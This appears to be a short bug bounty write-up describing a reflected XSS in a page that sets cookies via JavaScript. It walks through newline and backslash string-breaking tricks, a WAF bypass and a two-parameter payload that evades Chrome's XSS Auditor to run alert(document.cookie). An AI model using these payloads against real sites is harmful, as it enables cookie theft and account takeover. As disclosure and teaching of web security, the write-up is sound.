Magic XSS with two parameters

Mahmood Shahabi
2 min readOct 12, 2018

--

I recently worked on bug bounty program. one of in scope websites has used an iframe like below to set a cookie for visitors.

<iframe src=“http://example.com/setcookie?key=name&value=value”></iframe>

The iframe use javascript to set cookie instead of Set-Cookie header. key parameter is name of cookie and value parameter is its value. the javascript code is written similar to this

<html>
<body>
<script>
if ('name' != '') {
if (window.location.indexOf('exmaple.com') != -1) {
document.cookie = 'name' + "=" + 'value' + ";domain=example.com";
} else {
document.cookie = 'name' + "=" + 'value';
}
}
</script>
</body>
</html>

The code is suitable for XSS attack vector. So I tried to close string 'name' with adding single quote to parameter and inject own javascript code in page but at server side, single quotes are replaced with empty string. They think this work can stop XSS attack but there are alternative ways to closing the string.

First way is add newline like this /?key=name%0a&value=value

<html>
<body>
<script>
if ('name
' != '') {
if (window.location.indexOf('exmaple.com') != -1) {
document.cookie = 'name
' + "=" + 'value' + ";domain=example.com";
} else {
document.cookie = 'name
' + "=" + 'value';
}
}
</script>
</body>
</html>

Second way is escaping close single quote with backslash. /?key=name\&value=value

<html>
<body>
<script>
if ('name\' != '') {
if (window.location.indexOf('exmaple.com') != -1) {
document.cookie = 'name\' + "=" + 'value' + ";domain=example.com";
} else {
document.cookie = 'name\' + "=" + 'value';
}
}
</script>
</body>
</html>

at line document.cookie = 'name\' + "=" + 'value'; the string closed by starting single quote of second string. Now value of value parameter is parsed as code -not data. So I try to inject payload in value parameter like /?key=name\&value=;alert(1);//

<html>
<body>
<script>
if ('name\' != '') {
if (window.location.indexOf('exmaple.com') != -1) {
document.cookie = 'name\' + "=" + ';alert(1);//' + ";domain=example.com";
} else {
document.cookie = 'name\' + "=" + ';alert(1);//';
}
}
</script>
</body>
</html>

There is still a problem. An error occur at if ('name\' != '') { because of unclosed string and interpreter doesn’t execute alert(1). So I try to use alternative way to pass error. The new payload use </script><script> and like this /?key=name%0a</script><script>alert(1);</script>&value=value but the request is blocked by WAF. Add newline is bypass WAF in a simple way. /?key=name%0a</script><script>alert(1);%0a</script>&value=value. Unfortunately, Google Chrome XSS Auditor detects and blocks last payload. Now the second parameter comes in. I split payload in two parameters and generate final payload that is working. /?key=name%0a</script></script>alert(&value=%2bdocument.cookie);%0a</script>

alert(document.cookie)

Note: you can find a simple server code that simulate this challenge here

Note: I have seen Google Chrome XSS auditor bypass with two parameters many years ago that is used multiline comment /* */ and was patched but you can see it’s work with some changes (using <script>)

--

--